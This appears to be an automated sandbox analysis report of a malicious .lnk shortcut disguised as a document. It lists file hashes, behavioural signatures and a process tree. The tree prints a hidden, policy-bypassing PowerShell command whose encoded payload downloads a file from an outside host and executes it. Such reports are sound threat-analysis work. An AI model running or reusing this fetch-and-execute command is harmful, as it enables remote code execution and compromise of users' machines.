Analysis
-
max time kernel
363s -
max time network
366s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
11-04-2024 18:11
Static task
static1
Behavioral task
behavioral1
Sample
DOC8934 - 89348934.lnk
Resource
win7-20240221-en
4 signatures
600 seconds
Behavioral task
behavioral2
Sample
DOC8934 - 89348934.lnk
Resource
win10v2004-20240226-en
6 signatures
600 seconds
General
-
Target
DOC8934 - 89348934.lnk
-
Size
9KB
-
MD5
baadcd553ba6a56e2f81332206e331cf
-
SHA1
3d76bdf72f15dc17ca2aed3237aa2ee680534de1
-
SHA256
0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2
-
SHA512
b16efc3a8b6e3b3afbe7817e7c4b30f889de212d1db41ccac47f2ccbe04dd6b7b19fb381084bacf5cdc2dfe2838922c1e47b779136f7ea4044fc451772c739e0
-
SSDEEP
192:8z5ph43MSBfQb94y8O5Wp9EJmuBT/HVXhdyfUVLqHGPJzylV/Xt4OnuRG:u5f+MS5QH8EDJHx7ycVLUGhzWXr
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2752 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2752 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 1880 wrote to memory of 2752 1880 cmd.exe powershell.exe PID 1880 wrote to memory of 2752 1880 cmd.exe powershell.exe PID 1880 wrote to memory of 2752 1880 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\DOC8934 - 89348934.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:1880 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2752